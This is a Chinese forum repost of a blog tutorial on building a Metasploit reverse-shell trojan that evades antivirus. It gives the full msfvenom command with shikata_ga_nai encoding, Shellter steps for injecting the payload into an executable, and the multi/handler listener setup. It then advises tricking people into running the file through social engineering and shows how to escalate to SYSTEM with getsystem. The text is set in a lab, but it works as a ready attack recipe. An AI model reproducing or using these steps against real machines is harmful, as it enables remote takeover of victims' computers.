搜索

[22279] 2021-08-22_msf反弹木马之免杀

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-08-22_msf反弹木马之免杀 m s f 反 弹 木 马 之 免 杀 L e m o n S e c   2 0 2 1 - 0 8 - 2 2 原 理 原 理 利 用 m s f 模 块 中 的 m s f v e n o m 模 块 ， 首 先 生 成 . e x e 木 马 文 件 ， 用 靶 机 打 开 ， 攻 击 成 功 后 ， 就 渗 透 到 了 靶 机 系 统 中 。 准 备 准 备 w i n 7 靶 机   i p   ： 1 9 2 . 1 6 8 . 5 6 . 1 3 0 k a l i 攻 击 机   i p :   1 9 2 . 1 6 8 . 5 6 . 1 3 5 # # 实 战 开 始 1 . 打 开 k a l i 机 ， 在 命 令 行 输 入 ： L H O S T 是 主 机 的 i p ， 用 来 “ 提 醒 ” 木 马 成 功 后 应 该 返 回 信 息 给 自 己 的 主 机 。 l p o r t 是 返 回 时 连 接 的 端 口 号 ， 需 要 开 启 t c p 功 能 ， 1 2 3 4 端 口 好 像 默 认 开 启 ？ >   后 面 的 那 一 串 表 示 木 马 生 成 的 对 应 地 址 ， 为 了 方 便 操 作 我 直 接 生 成 在 桌 面 上 。 - e   x 8 6 / s h i k a t a _ g a _ n a i   为 使 用 s h i k a t a _ g a _ n a i 的 编 码 方 式 对 攻 击 载 荷 进 行 重 新 编 码 - i   5 为 使 用 刚 才 设 定 的 编 码 方 式 对 目 标 进 行 5 次 编 码 2 . 命 令 行 输 入 第 一 个 选 项 选 择 A 3 . P E   T a r g e t   后 面 填 写 / h o m e / k a l i / D e s k t o p / 1 . e x e ， 即 木 马 所 在 路 径 。 然 后 等 待 一 段 时 间 · · · · · · m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 5 6 . 1 3 5   l p o r t = 1 2 3 4   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   5   - f   e x e   > / h o m e / k a l i / D e s k t o p / 1 . e x e s h e l l t e r
注 意 ， 虽 然 看 着 不 动 ， 但 是 上 面 那 个 数 字 一 直 在 跳 ， 所 以 不 是 你 卡 住 了 ~ 4 . 然 后 选 择 Y 5 . 选 择 L ， p a y l o a d   i n d e x   选 择 1
6 . 设 置 L H O S T 以 及 L P O R T 等 个 大 概 2 秒 钟 ， 就 结 束 了 ~ 免 杀 木 马 制 作 完 成 。 命 令 行 输 入 进 入 m e t a s p l o i t 。 然 后 输 入 开 启 监 听 模 式 接 下 来 就 是 设 置 参 数 了 ， 可 以 使 用 o p t i o n 命 令 来 查 看 需 要 设 置 的 参 数 。 主 要 设 置 三 个 ： p a y l o a d 、 L H O S T 、 L P O R T ， 需 要 跟 木 马 一 样 ， 复 制 一 下 就 行 m s f c o n s o l e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 5 6 . 1 3 5 s e t   l p o r t   1 2 3 4
这 里 大 小 写 随 意 ， 都 可 以 被 识 别 。 随 后 输 入 执 行 监 听 命 令 ， 也 就 是 攻 击 开 始 ~ k a l i 端 操 作 结 束 ！ 然 后 利 用 社 会 工 程 学 等 方 式 诱 骗 其 他 人 点 击 这 玩 意 ， 就 被 攻 击 了 。 现 在 假 装 w i n 7 被 骗 了 ， 无 意 中 点 了 我 的 反 弹 木 马 ： 然 后 输 入 就 可 以 获 取 对 方 管 理 员 权 限 。 在 输 入 s h e l l 之 前 ， 输 入 g e t s y s t e m ， 获 得 s y s t e m 权 限 以 后 ， 再 输 入 s h e l l 就 可 以 获 得 最 高 权 限 啦 ~ 使 用 e c h o   % u s e r n a m e % 可 以 输 出 使 用 者 的 名 字 ， 这 里 是 S J X - P C $ ， 如 果 是 管 理 员 的 话 ， 只 会 显 示 管 理 员 账 号 （ 我 这 里 是 “ s j x ” ） ， 而 且 ， 看 前 面 的 内 容 也 可 以 知 道 是 s y s t e m 权 限 ： e x p l o i t s h e l l C S D N 博 主 「 i m b i a 」 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / s a t a s u n / a r t i c l e / d e t a i l s / 1 0 5 4 4 1 6 0 4
- - - 》 推 荐 公 众 号 ： 推 荐 公 众 号 ：         每 日 分 享 红 蓝 队 技 术 文 章 与 工 具 使 用   下 载 方 式 、 以 及 不 定 期 的 安 全 类 书 籍 抽 奖 ～
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理